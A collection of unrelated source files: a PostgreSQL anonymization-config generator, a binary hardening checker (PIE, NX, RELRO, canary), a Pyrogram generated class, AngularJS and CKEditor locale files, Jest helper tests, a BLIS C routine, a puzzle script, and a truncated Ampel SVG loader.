WHERE constraint_type = 'PRIMARY KEY'
AND (table_schema, table_name) = (%s, %s)
ORDER BY ordinal_position;
''',
(schema, table)
)
for column_row in c.fetchall():
keys.append(column_row[0])
return keys
def get_check_template(body, provided_variables):
"""
:param str body: template body
:param provided_variables: variables that are provided
:type provided_variables: Dict[str, Any]
:return: jinja2.Template
"""
env = jinja2.Environment()
# Get the Abstract Syntax Tree for the template so variables can be checked
ast = env.parse(body)
required_variables = jinja2.meta.find_undeclared_variables(ast)
missing_variables = required_variables - set(provided_variables.keys())
if missing_variables:
raise ValueError("Can not render the template - missing variables %s - provided variables %s" %
(",".join(missing_variables), ",".join(provided_variables.keys())))
template = jinja2.Template(body, trim_blocks=True, lstrip_blocks=True)
return template
class ColumnAction(object):
def __init__(self, exclude=False, size=-1, anon_type=None):
self.exclude = exclude
self.size = size
self.anon_type = anon_type
def main(args_in, prog=None, log=None):
# This is done so when testing I can replace the logger - in some testing main() is run
global global_log
global_log = setup_logger(log=log)
cli_args = process_args(args_in, prog=prog, log=global_log)
conn = psycopg2.connect(
host=cli_args.host,
database=cli_args.database,
user=cli_args.user,
password=cli_args.password
)
schema = 'public'
tables = list() # type: List[Dict[str, Any]]
exclude_tables = [
'bloat_tables',
'bloat_stats',
'bloat_indexes',
'dynflow_delayed_plans', # anonimatron will not anonymise a table with no primary key so exclude this.
#'notification_blueprints', # Exception in thread "main" java.lang.RuntimeException: org.postgresql.util.PSQLException: ERROR: syntax error at or near "group"
'schema_migrations', # no primary key - but also it's just a version number so not needed
]
column_actions_by_table = {
'auth_sources':
{
'type': ColumnAction(exclude=True),
'attr_mail': ColumnAction(exclude=False, anon_type='EMAIL_ADDRESS'),
},
'domains':
{
'name': ColumnAction(exclude=False, anon_type='DOMAIN'),
'fullname': ColumnAction(exclude=False, anon_type='DOMAIN'),
},
'fact_names':
{
'type': ColumnAction(exclude=True),
}
}
default_column_action = ColumnAction(exclude=False, size=-1)
for table_name in get_table_names(conn, cli_args.database):
if table_name in exclude_tables:
continue
table = dict()
table['columns'] = list()
table['name'] = table_name
primary_keys = set(get_primary_keys(conn, schema=schema, table=table_name))
# table_catalog =
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as c:
c.execute(
'''
SELECT *
FROM information_schema.columns
WHERE table_name = %s AND table_schema = %s AND table_catalog = %s
''',
(table_name, schema, cli_args.database))
for column in c:
db_data_type = column['data_type']
column_name = column['column_name']
column_action = default_column_action
if table_name in column_actions_by_table:
if column_name in column_actions_by_table[table_name]:
column_action = column_actions_by_table[table_name][column_name]
default_anon_type = data_type_map.get(db_data_type, None)
anon_type = column_action.anon_type if column_action.anon_type else default_anon_type
if anon_type and column_name not in primary_keys and not column_action.exclude:
column_desc = {
'name': column_name,
'db_data_type': db_data_type,
'anon_type': anon_type,
'anon_size': '-1',
'primary_key': column_name in primary_keys,
}
table['columns'].append(column_desc)
if table['columns']:
# anonimatron 1.9.3 will NullPointerException if no columns are listed
tables.append(table)
template_variables = {
'host': cli_args.host,
'database': cli_args.database,
'user': cli_args.user,
'password': cli_args.password,
'tables': tables
}
template = get_check_template(project_template, template_variables)
print template.render(template_variables)
if __name__ == "__main__":
global_log = setup_logger()
main(sys.argv[1:], prog=None, log=global_log)
|
#!/usr/bin/env python3
# Copyright (c) 2015-2020 The Adinkracoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
'''
Perform basic security checks on a series of executables.
Exit status will be 0 if successful, and the program will be silent.
Otherwise the exit status will be 1 and it will log which executables failed which checks.
'''
import sys
from typing import List, Optional
import lief
import pixie
def check_ELF_PIE(executable) -> bool:
'''
Check for position independent executable (PIE), allowing for address space randomization.
'''
elf = pixie.load(executable)
return elf.hdr.e_type == pixie.ET_DYN
def check_ELF_NX(executable) -> bool:
'''
Check that no sections are writable and executable (including the stack)
'''
elf = pixie.load(executable)
have_wx = False
have_gnu_stack = False
for ph in elf.program_headers:
if ph.p_type == pixie.PT_GNU_STACK:
have_gnu_stack = True
if (ph.p_flags & pixie.PF_W) != 0 and (ph.p_flags & pixie.PF_X) != 0: # section is both writable and executable
have_wx = True
return have_gnu_stack and not have_wx
def check_ELF_RELRO(executable) -> bool:
'''
Check for read-only relocations.
GNU_RELRO program header must exist
Dynamic section must have BIND_NOW flag
'''
elf = pixie.load(executable)
have_gnu_relro = False
for ph in elf.program_headers:
# Note: not checking p_flags == PF_R: here as linkers set the permission differently
# This does not affect security: the permission flags of the GNU_RELRO program
# header are ignored, the PT_LOAD header determines the effective permissions.
# However, the dynamic linker need to write to this area so these are RW.
# Glibc itself takes care of mprotecting this area R after relocations are finished.
# See also https://marc.info/?l=binutils&m=1498883354122353
if ph.p_type == pixie.PT_GNU_RELRO:
have_gnu_relro = True
have_bindnow = False
for flags in elf.query_dyn_tags(pixie.DT_FLAGS):
assert isinstance(flags, int)
if flags & pixie.DF_BIND_NOW:
have_bindnow = True
return have_gnu_relro and have_bindnow
def check_ELF_Canary(executable) -> bool:
'''
Check for use of stack canary
'''
elf = pixie.load(executable)
ok = False
for symbol in elf.dyn_symbols:
if symbol.name == b'__stack_chk_fail':
ok = True
return ok
def check_ELF_separate_code(executable):
'''
Check that sections are appropriately separated in virtual memory,
based on their permissions. This checks for missing -Wl,-z,separate-code
and potentially other problems.
'''
elf = pixie.load(executable)
R = pixie.PF_R
W = pixie.PF_W
E = pixie.PF_X
EXPECTED_FLAGS = {
# Read + execute
b'.init': R | E,
b'.plt': R | E,
b'.plt.got': R | E,
b'.plt.sec': R | E,
b'.text': R | E,
b'.fini': R | E,
# Read-only data
b'.interp': R,
b'.note.gnu.property': R,
b'.note.gnu.build-id': R,
b'.note.ABI-tag': R,
b'.gnu.hash': R,
b'.dynsym': R,
b'.dynstr': R,
b'.gnu.version': R,
b'.gnu.version_r': R,
b'.rela.dyn': R,
b'.rela.plt': R,
b'.rodata': R,
b'.eh_frame_hdr': R,
b'.eh_frame': R,
b'.qtmetadata': R,
b'.gcc_except_table': R,
b'.stapsdt.base': R,
# Writable data
b'.init_array': R | W,
b'.fini_array': R | W,
b'.dynamic': R | W,
b'.got': R | W,
b'.data': R | W,
b'.bss': R | W,
}
if elf.hdr.e_machine == pixie.EM_PPC64:
# .plt is RW on ppc64 even with separate-code
EXPECTED_FLAGS[b'.plt'] = R | W
# For all LOAD program headers get mapping to the list of sections,
# and for each section, remember the flags of the associated program header.
flags_per_section = {}
for ph in elf.program_headers:
if ph.p_type == pixie.PT_LOAD:
for section in ph.sections:
assert(section.name not in flags_per_section)
flags_per_section[section.name] = ph.p_flags
# Spot-check ELF LOAD program header flags per section
# If these sections exist, check them against the expected R/W/E flags
for (section, flags) in flags_per_section.items():
if section in EXPECTED_FLAGS:
if EXPECTED_FLAGS[section] != flags:
return False
return True
def check_PE_DYNAMIC_BASE(executable) -> bool:
'''PIE: DllCharacteristics bit 0x40 signifies dynamicbase (ASLR)'''
binary = lief.parse(executable)
return lief.PE.DLL_CHARACTERISTICS.DYNAMIC_BASE in binary.optional_header.dll_characteristics_lists
# Must support high-entropy 64-bit address space layout randomization
# in addition to DYNAMIC_BASE to have secure ASLR.
def check_PE_HIGH_ENTROPY_VA(executable) -> bool:
'''PIE: DllCharacteristics bit 0x20 signifies high-entropy ASLR'''
binary = lief.parse(executable)
return lief.PE.DLL_CHARACTERISTICS.HIGH_ENTROPY_VA in binary.optional_header.dll_characteristics_lists
def check_PE_RELOC_SECTION(executable) -> bool:
'''Check for a reloc section. This is required for functional ASLR.'''
binary = lief.parse(executable)
return binary.has_relocations
def check_MACHO_NOUNDEFS(executable) -> bool:
'''
Check for no undefined references.
'''
binary = lief.parse(executable)
return binary.header.has(lief.MachO.HEADER_FLAGS.NOUNDEFS)
def check_MACHO_LAZY_BINDINGS(executable) -> bool:
'''
Check for no lazy bindings.
We don't use or check for MH_BINDATLOAD. See #18295.
'''
binary = lief.parse(executable)
return binary.dyld_info.lazy_bind == (0,0)
def check_MACHO_Canary(executable) -> bool:
'''
Check for use of stack canary
'''
binary = lief.parse(executable)
return binary.has_symbol('___stack_chk_fail')
def check_PIE(executable) -> bool:
'''
Check for position independent executable (PIE),
allowing for address space randomization.
'''
binary = lief.parse(executable)
return binary.is_pie
def check_NX(executable) -> bool:
'''
Check for no stack execution
'''
binary = lief.parse(executable)
return binary.has_nx
def check_control_flow(executable) -> bool:
'''
Check for control flow instrumentation
'''
binary = lief.parse(executable)
content = binary.get_content_from_virtual_address(binary.entrypoint, 4, lief.Binary.VA_TYPES.AUTO)
if content == [243, 15, 30, 250]: # endbr64
return True
return False
CHECKS = {
'ELF': [
('PIE', check_ELF_PIE),
('NX', check_ELF_NX),
('RELRO', check_ELF_RELRO),
('Canary', check_ELF_Canary),
('separate_code', check_ELF_separate_code),
],
'PE': [
('PIE', check_PIE),
('DYNAMIC_BASE', check_PE_DYNAMIC_BASE),
('HIGH_ENTROPY_VA', check_PE_HIGH_ENTROPY_VA),
('NX', check_NX),
('RELOC_SECTION', check_PE_RELOC_SECTION)
],
'MACHO': [
('PIE', check_PIE),
('NOUNDEFS', check_MACHO_NOUNDEFS),
('NX', check_NX),
('LAZY_BINDINGS', check_MACHO_LAZY_BINDINGS),
('Canary', check_MACHO_Canary),
('CONTROL_FLOW', check_control_flow),
]
}
def identify_executable(executable) -> Optional[str]:
with open(filename, 'rb') as f:
magic = f.read(4)
if magic.startswith(b'MZ'):
return 'PE'
elif magic.startswith(b'\x7fELF'):
return 'ELF'
elif magic.startswith(b'\xcf\xfa'):
return 'MACHO'
return None
if __name__ == '__main__':
retval: int = 0
for filename in sys.argv[1:]:
try:
etype = identify_executable(filename)
if etype is None:
print(f'{filename}: unknown format')
retval = 1
continue
failed: List[str] = []
for (name, func) in CHECKS[etype]:
if not func(filename):
failed.append(name)
if failed:
print(f'{filename}: failed {" ".join(failed)}')
retval = 1
except IOError:
print(f'{filename}: cannot open')
retval = 1
sys.exit(retval)
|
# Pyrogram - Telegram MTProto API Client Library for Python
# Copyright (C) 2017-2021 Dan <https://github.com/delivrance>
#
# This file is part of Pyrogram.
#
# Pyrogram is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Pyrogram is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Pyrogram. If not, see <http://www.gnu.org/licenses/>.
from io import BytesIO
from pyrogram.raw.core.primitives import Int, Long, Int128, Int256, Bool, Bytes, String, Double, Vector
from pyrogram.raw.core import TLObject
from pyrogram import raw
from typing import List, Union, Any
# # # # # # # # # # # # # # # # # # # # # # # #
# !!! WARNING !!! #
# This is a generated file! #
# All changes made in this file will be lost! #
# # # # # # # # # # # # # # # # # # # # # # # #
class MessageActionSecureValuesSent(TLObject): # type: ignore
"""This object is a constructor of the base type :obj:`~pyrogram.raw.base.MessageAction`.
Details:
- Layer: ``123``
- ID: ``0xd95c6154``
Parameters:
types: List of :obj:`SecureValueType <pyrogram.raw.base.SecureValueType>`
"""
__slots__: List[str] = ["types"]
ID = 0xd95c6154
QUALNAME = "types.MessageActionSecureValuesSent"
def __init__(self, *, types: List["raw.base.SecureValueType"]) -> None:
self.types = types # Vector<SecureValueType>
@staticmethod
def read(data: BytesIO, *args: Any) -> "MessageActionSecureValuesSent":
# No flags
types = TLObject.read(data)
return MessageActionSecureValuesSent(types=types)
def write(self) -> bytes:
data = BytesIO()
data.write(Int(self.ID, False))
# No flags
data.write(Vector(self.types))
return data.getvalue()
|
'use strict';
angular.module("ngLocale", [], ["$provide", function($provide) {
var PLURAL_CATEGORY = {ZERO: "zero", ONE: "one", TWO: "two", FEW: "few", MANY: "many", OTHER: "other"};
$provide.value("$locale", {
"DATETIME_FORMATS": {
"AMPMS": [
"AM",
"PM"
],
"DAY": [
"dimanche",
"lundi",
"mardi",
"mercredi",
"jeudi",
"vendredi",
"samedi"
],
"ERANAMES": [
"avant J\u00e9sus-Christ",
"apr\u00e8s J\u00e9sus-Christ"
],
"ERAS": [
"av. J.-C.",
"ap. J.-C."
],
"FIRSTDAYOFWEEK": 0,
"MONTH": [
"janvier",
"f\u00e9vrier",
"mars",
"avril",
"mai",
"juin",
"juillet",
"ao\u00fbt",
"septembre",
"octobre",
"novembre",
"d\u00e9cembre"
],
"SHORTDAY": [
"dim.",
"lun.",
"mar.",
"mer.",
"jeu.",
"ven.",
"sam."
],
"SHORTMONTH": [
"janv.",
"f\u00e9vr.",
"mars",
"avr.",
"mai",
"juin",
"juil.",
"ao\u00fbt",
"sept.",
"oct.",
"nov.",
"d\u00e9c."
],
"STANDALONEMONTH": [
"janvier",
"f\u00e9vrier",
"mars",
"avril",
"mai",
"juin",
"juillet",
"ao\u00fbt",
"septembre",
"octobre",
"novembre",
"d\u00e9cembre"
],
"WEEKENDRANGE": [
5,
6
],
"fullDate": "EEEE d MMMM y",
"longDate": "d MMMM y",
"medium": "d MMM y HH:mm:ss",
"mediumDate": "d MMM y",
"mediumTime": "HH:mm:ss",
"short": "dd/MM/y HH:mm",
"shortDate": "dd/MM/y",
"shortTime": "HH:mm"
},
"NUMBER_FORMATS": {
"CURRENCY_SYM": "CFA",
"DECIMAL_SEP": ",",
"GROUP_SEP": "\u00a0",
"PATTERNS": [
{
"gSize": 3,
"lgSize": 3,
"maxFrac": 3,
"minFrac": 0,
"minInt": 1,
"negPre": "-",
"negSuf": "",
"posPre": "",
"posSuf": ""
},
{
"gSize": 3,
"lgSize": 3,
"maxFrac": 2,
"minFrac": 2,
"minInt": 1,
"negPre": "-",
"negSuf": "\u00a0\u00a4",
"posPre": "",
"posSuf": "\u00a0\u00a4"
}
]
},
"id": "fr-ci",
"localeID": "fr_CI",
"pluralCat": function(n, opt_precision) { var i = n | 0; if (i == 0 || i == 1) { return PLURAL_CATEGORY.ONE; } return PLURAL_CATEGORY.OTHER;}
});
}]);
|
/*
Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.lang['sl']={"widget":{"move":"Kliknite in povlecite, da premaknete"},"undo":{"redo":"Ponovi","undo":"Razveljavi"},"toolbar":{"toolbarCollapse":"Skrči Orodno Vrstico","toolbarExpand":"Razširi Orodno Vrstico","toolbarGroups":{"document":"Document","clipboard":"Clipboard/Undo","editing":"Editing","forms":"Forms","basicstyles":"Basic Styles","paragraph":"Paragraph","links":"Links","insert":"Insert","styles":"Styles","colors":"Colors","tools":"Tools"},"toolbars":"Urejevalnik orodne vrstice"},"table":{"border":"Velikost obrobe","caption":"Naslov","cell":{"menu":"Celica","insertBefore":"Vstavi celico pred","insertAfter":"Vstavi celico za","deleteCell":"Izbriši celice","merge":"Združi celice","mergeRight":"Združi desno","mergeDown":"Druži navzdol","splitHorizontal":"Razdeli celico vodoravno","splitVertical":"Razdeli celico navpično","title":"Lastnosti celice","cellType":"Vrsta celice","rowSpan":"Razpon vrstic","colSpan":"Razpon stolpcev","wordWrap":"Prelom besedila","hAlign":"Vodoravna poravnava","vAlign":"Navpična poravnava","alignBaseline":"Osnovnica","bgColor":"Barva ozadja","borderColor":"Barva obrobe","data":"Podatki","header":"Glava","yes":"Da","no":"Ne","invalidWidth":"Širina celice mora biti število.","invalidHeight":"Višina celice mora biti število.","invalidRowSpan":"Razpon vrstic mora biti celo število.","invalidColSpan":"Razpon stolpcev mora biti celo število.","chooseColor":"Izberi"},"cellPad":"Polnilo med celicami","cellSpace":"Razmik med celicami","column":{"menu":"Stolpec","insertBefore":"Vstavi stolpec pred","insertAfter":"Vstavi stolpec za","deleteColumn":"Izbriši stolpce"},"columns":"Stolpci","deleteTable":"Izbriši tabelo","headers":"Glave","headersBoth":"Oboje","headersColumn":"Prvi stolpec","headersNone":"Brez","headersRow":"Prva vrstica","invalidBorder":"Širina obrobe mora biti število.","invalidCellPadding":"Zamik celic mora biti število","invalidCellSpacing":"Razmik med celicami mora biti število.","invalidCols":"Število stolpcev mora biti večje od 0.","invalidHeight":"Višina tabele mora biti število.","invalidRows":"Število vrstic mora biti večje od 0.","invalidWidth":"Širina tabele mora biti število.","menu":"Lastnosti tabele","row":{"menu":"Vrstica","insertBefore":"Vstavi vrstico pred","insertAfter":"Vstavi vrstico za","deleteRow":"Izbriši vrstice"},"rows":"Vrstice","summary":"Povzetek","title":"Lastnosti tabele","toolbar":"Tabela","widthPc":"procentov","widthPx":"pik","widthUnit":"enota širine"},"stylescombo":{"label":"Slog","panelTitle":"Oblikovalni Stili","panelTitle1":"Slogi odstavkov","panelTitle2":"Slogi besedila","panelTitle3":"Slogi objektov"},"specialchar":{"options":"Možnosti Posebnega Znaka","title":"Izberi Posebni Znak","toolbar":"Vstavi posebni znak"},"sourcedialog":{"toolbar":"Izvorna koda","title":"Izvorna koda"},"sourcearea":{"toolbar":"Izvorna koda"},"showblocks":{"toolbar":"Prikaži ograde"},"removeformat":{"toolbar":"Odstrani oblikovanje"},"pastetext":{"button":"Prilepi kot golo besedilo","title":"Prilepi kot golo besedilo"},"pastefromword":{"confirmCleanup":"Besedilo, ki ga želite prilepiti je kopirano iz Word-a. Ali ga želite očistiti, preden ga prilepite?","error":"Ni bilo mogoče očistiti prilepljenih podatkov zaradi notranje napake","title":"Prilepi iz Worda","toolbar":"Prilepi iz Worda"},"maximize":{"maximize":"Maksimiraj","minimize":"Minimiraj"},"magicline":{"title":"Vstavite odstavek tukaj"},"list":{"bulletedlist":"Označen seznam","numberedlist":"Oštevilčen seznam"},"language":{"button":"Nastavi jezik","remove":"Odstrani jezik"},"justify":{"block":"Obojestranska poravnava","center":"Sredinska poravnava","left":"Leva poravnava","right":"Desna poravnava"},"indent":{"indent":"Povečaj zamik","outdent":"Zmanjšaj zamik"},"image2":{"alt":"Nadomestno besedilo","btnUpload":"Pošlji na strežnik","captioned":"Podnaslovljena slika","captionPlaceholder":"Napis","infoTab":"Podatki o sliki","lockRatio":"Zakleni razmerje","menu":"Lastnosti slike","pathName":"slika","pathNameCaption":"napis","resetSize":"Ponastavi velikost","resizer":"Kliknite in povlecite, da spremeniti velikost","title":"Lastnosti slike","uploadTab":"Naloži","urlMissing":"Manjka vir (URL) slike."},"horizontalrule":{"toolbar":"Vstavi vodoravno črto"},"format":{"label":"Oblika","panelTitle":"Oblika","tag_address":"Napis","tag_div":"Navaden (DIV)","tag_h1":"Naslov 1","tag_h2":"Naslov 2","tag_h3":"Naslov 3","tag_h4":"Naslov 4","tag_h5":"Naslov 5","tag_h6":"Naslov 6","tag_p":"Navaden","tag_pre":"Oblikovan"},"elementspath":{"eleLabel":"Pot elementov","eleTitle":"%1 element"},"contextmenu":{"options":"Možnosti Kontekstnega Menija"},"clipboard":{"copy":"Kopiraj","copyError":"Varnostne nastavitve brskalnika ne dopuščajo samodejnega kopiranja. Uporabite kombinacijo tipk na tipkovnici (Ctrl/Cmd+C).","cut":"Izreži","cutError":"Varnostne nastavitve brskalnika ne dopuščajo samodejnega izrezovanja. Uporabite kombinacijo tipk na tipkovnici (Ctrl/Cmd+X).","paste":"Prilepi","pasteArea":"Prilepi Prostor","pasteMsg":"Prosim prilepite v sleči okvir s pomočjo tipkovnice (<STRONG>Ctrl/Cmd+V</STRONG>) in pritisnite <STRONG>V redu</STRONG>.","securityMsg":"Zaradi varnostnih nastavitev vašega brskalnika urejevalnik ne more neposredno dostopati do odložišča. Vsebino odložišča ponovno prilepite v to okno.","title":"Prilepi"},"button":{"selectedLabel":"%1 (Izbrano)"},"blockquote":{"toolbar":"Citat"},"basicstyles":{"bold":"Krepko","italic":"Ležeče","strike":"Prečrtano","subscript":"Podpisano","superscript":"Nadpisano","underline":"Podčrtano"},"about":{"copy":"Copyright © $1. Vse pravice pridržane.","dlgTitle":"O programu CKEditor","help":"Preverite $1 za pomoč.","moreInfo":"Za informacijo o licenci prosim obiščite našo spletno stran:","title":"O programu CKEditor","userGuide":"CKEditor Navodila za Uporabo"},"editor":"Bogat Urejevalnik Besedila","editorPanel":"Rich Text Editor plošča","common":{"editorHelp":"Pritisnite ALT 0 za pomoč","browseServer":"Prebrskaj na strežniku","url":"URL","protocol":"Protokol","upload":"Naloži","uploadSubmit":"Pošlji na strežnik","image":"Slika","flash":"Flash","form":"Obrazec","checkbox":"Potrditveno polje","radio":"Izbirno polje","textField":"Vnosno polje","textarea":"Vnosno območje","hiddenField":"Skrito polje","button":"Gumb","select":"Spustno Polje","imageButton":"Slikovni Gumb","notSet":"<ni določen>","id":"Id","name":"Ime","langDir":"Smer jezika","langDirLtr":"Od leve proti desni (LTR)","langDirRtl":"Od desne proti levi (RTL)","langCode":"Koda Jezika","longDescr":"Dolg opis URL-ja","cssClass":"Razred stilne predloge","advisoryTitle":"Predlagani naslov","cssStyle":"Slog","ok":"V redu","cancel":"Prekliči","close":"Zapri","preview":"Predogled","resize":"Potegni za spremembo velikosti","generalTab":"Splošno","advancedTab":"Napredno","validateNumberFailed":"Ta vrednost ni število.","confirmNewPage":"Vse neshranjene spremembe te vsebine bodo izgubljene. Ali res želite naložiti novo stran?","confirmCancel":"Nekaj možnosti je bilo spremenjenih. Ali res želite zapreti okno?","options":"Možnosti","target":"Cilj","targetNew":"Novo Okno (_blank)","targetTop":"Vrhovno Okno (_top)","targetSelf":"Enako Okno (_self)","targetParent":"Matično Okno (_parent)","langDirLTR":"Od leve proti desni (LTR)","langDirRTL":"Od desne proti levi (RTL)","styles":"Slog","cssClasses":"Razred stilne predloge","width":"Širina","height":"Višina","align":"Poravnava","alignLeft":"Levo","alignRight":"Desno","alignCenter":"Sredinsko","alignJustify":"Obojestranska poravnava","alignTop":"Na vrh","alignMiddle":"V sredino","alignBottom":"Na dno","alignNone":"Brez poravnave","invalidValue":"Neveljavna vrednost.","invalidHeight":"Višina mora biti število.","invalidWidth":"Širina mora biti število.","invalidCssLength":"Vrednost določena za \"%1\" polje mora biti pozitivna številka z ali brez veljavne CSS enote za merjenje (px, %, in, cm, mm, em, ex, pt, ali pc).","invalidHtmlLength":"Vrednost določena za \"%1\" polje mora biti pozitivna številka z ali brez veljavne HTML enote za merjenje (px ali %).","invalidInlineStyle":"Vrednost določena za inline slog mora biti sestavljena iz ene ali več tork (tuples) z obliko \"ime : vrednost\", ločenih z podpičji.","cssLengthTooltip":"Vnesite številko za vrednost v slikovnih pikah (pixels) ali številko z veljavno CSS enoto (px, %, in, cm, mm, em, ex, pt, ali pc).","unavailable":"%1<span class=\"cke_accessibility\">, nedosegljiv</span>"}};
|
const { format_date, format_plural, format_url } = require("../utils/helpers");
test("format_date() returns a date string", () => {
const date = new Date("2020-03-20 16:12:03");
expect(format_date(date)).toBe("3/20/2020");
});
test("format_plural() returns respective noun pluralization", () => {
expect(format_plural("Tiger", 2)).toBe("Tigers");
expect(format_plural("Lion", 1)).toBe("Lion");
});
test("format_url() returns a simplified url string", () => {
expect(format_url("http://test.com/page/1")).toBe("test.com");
expect(format_url("https://www.coolstuff.com/abcdefg/")).toBe(
"coolstuff.com"
);
expect(format_url("https://www.google.com?q=hello")).toBe("google.com");
});
|
/*
BLIS
An object-based framework for developing high-performance BLAS-like
libraries.
Copyright (C) 2014, The University of Texas at Austin
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of The University of Texas at Austin nor the names
of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "blis.h"
#define FUNCPTR_T her_fp
typedef void (*FUNCPTR_T)( conj_t conjh,
obj_t* alpha,
obj_t* x,
obj_t* c,
cntx_t* cntx,
her_t* cntl );
static FUNCPTR_T vars[4][3] =
{
// unblocked unblocked with fusing blocked
{ bli_her_unb_var1, NULL, bli_her_blk_var1, },
{ bli_her_unb_var2, NULL, bli_her_blk_var2, },
{ NULL, NULL, NULL, },
{ NULL, NULL, NULL, },
};
void bli_her_int( conj_t conjh,
obj_t* alpha,
obj_t* x,
obj_t* c,
cntx_t* cntx,
her_t* cntl )
{
varnum_t n;
impl_t i;
FUNCPTR_T f;
obj_t x_local;
obj_t c_local;
// Check parameters.
if ( bli_error_checking_is_enabled() )
{
if ( bli_is_conj( conjh ) ) bli_her_check( alpha, x, c );
else bli_syr_check( alpha, x, c );
}
// If C or x has a zero dimension, return early.
if ( bli_obj_has_zero_dim( c ) ) return;
if ( bli_obj_has_zero_dim( x ) ) return;
// Alias the operands in case we need to apply conjugations.
bli_obj_alias_to( x, &x_local );
bli_obj_alias_to( c, &c_local );
// If matrix C is marked for conjugation, we interpret this as a request
// to apply a conjugation to the other operands.
if ( bli_obj_has_conj( &c_local ) )
{
bli_obj_toggle_conj( &c_local );
// Notice that we don't need to conjugate alpha since it is guaranteed
// to be real.
bli_obj_toggle_conj( &x_local );
}
// Extract the variant number and implementation type.
n = bli_cntl_var_num( cntl );
i = bli_cntl_impl_type( cntl );
// Index into the variant array to extract the correct function pointer.
f = vars[n][i];
// Invoke the variant.
f( conjh,
alpha,
&x_local,
&c_local,
cntx,
cntl );
}
|
#!/usr/bin/env python
# $Id$
"""many solutions"""
import puzzler
from puzzler.puzzles.hexominoes import HexominoesParallelogram15x14 as puzzle
puzzler.run(puzzle)
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# File: Ampel-plot/ampel-plot-browse/ampel/plot/SVGLoader.py
# License: BSD-3-Clause
# Author: valery brinnel <firstname.lastname@gmail.com>
# Date: 13.06.2019
# Last Modified Date: 14.05.2022
# Last Modified By: valery brinnel <firstname.lastname@gmail.com>
from bson import ObjectId # type: ignore[import]
from typing import TYPE_CHECKING
from collections.abc import Sequence
from collections import defaultdict
from string import digits
from ampel.types import StockId, UnitId, Tag, OneOrMany
from ampel.core.AmpelDB import AmpelDB
from ampel.content.SVGRecord import SVGRecord
from ampel.log.AmpelLogger import AmpelLogger
from ampel.plot.SVGQuery import SVGQuery
from ampel.plot.T2SVGQuery import T2SVGQuery
from ampel.plot.SVGCollection import SVGCollection
from ampel.util.recursion import walk_and_process_dict
from ampel.model.operator.AnyOf import AnyOf
from ampel.model.operator.AllOf import AllOf
from ampel.model.operator.OneOf import OneOf
if TYPE_CHECKING:
from ampel.plot.SVGBrowser import SVGBrowser
remove_digits = str.maketrans('', '', digits)
class SVGLoader:
@staticmethod
def load_t02(
db: AmpelDB,
stock: None | StockId | Sequence[StockId] = None,
tag: None | OneOrMany[Tag] = None,
t2_unit: None | UnitId = None,
t2_config: None | int = None
) -> "SVGLoader":
t0_query = SVGQuery(
col = "t0",
stock = stock,
plot_tag = tag
)
t2_query = T2SVGQuery(
stock = stock,
plot_tag = tag,
unit = t2_unit,
config = t2_config
)
sl = SVGLoader(db=db, queries=[t0_query, t2_query])
sl.run()
return sl
def __init__(self,
db: AmpelDB,
queries: None | list[SVGQuery] = None,
logger: None | AmpelLogger = None,
last_body: bool = False,
enforce_base_path: bool = False,
limit: int = 0,
latest_doc: bool = False
) -> None:
self._db = db
self.logger = logger
self.limit = limit
self.last_body = last_body
self.latest_doc = latest_doc
self.enforce_base_path = enforce_base_path
self._queries: list[SVGQuery] = []
self._plots: dict[StockId, SVGCollection] = defaultdict(SVGCollection)
self._debug = self.logger and self.logger.verbose > 1
self._plot_col = self._db.get_collection('plots')
if queries:
for q in queries:
self.add_query(q)
def add_query(self, query: SVGQuery) -> "SVGLoader":
self._queries.append(query)
return self
def spawn_browser(self) -> "SVGBrowser":
from ampel.plot.SVGBrowser import SVGBrowser
return SVGBrowser(self)
def run(self) -> "SVGLoader":
i = 0
for q in self._queries:
if self._debug:
self.logger.debug(f"Running query (collection '{q.col}'): {q._query}")
if self.latest_doc:
res = self._db.get_collection(q.col).find(q._query).sort("_id", -1).limit(1)
if self._debug:
if res.count():
self.logger.debug(f"{res.count()} documents matched [loading only the latest]")
else:
self.logger.debug("No document matched")
elif self.limit:
res = self._db.get_collection(q.col).find(q._query).limit(self.limit)
if self._debug:
self.logger.debug(f"{res.count()} document(s) matched [{res.count(True)} with limit]")
else:
res = self._db.get_collection(q.col).find(q._query)
for el in res:
i += 1
if self._debug:
self.logger.debug(f"Parsing {el['_id']}")
if q.col == "plots":
self._plots[None].add_raw_db_dict(el)
continue
if not el.get('body'):
if self._debug:
self.logger.debug(" Skipping doc: empty body")
continue
stock = el.get('stock', 0)
if isinstance(el['body'], list):
if self.last_body:
walk_and_process_dict(
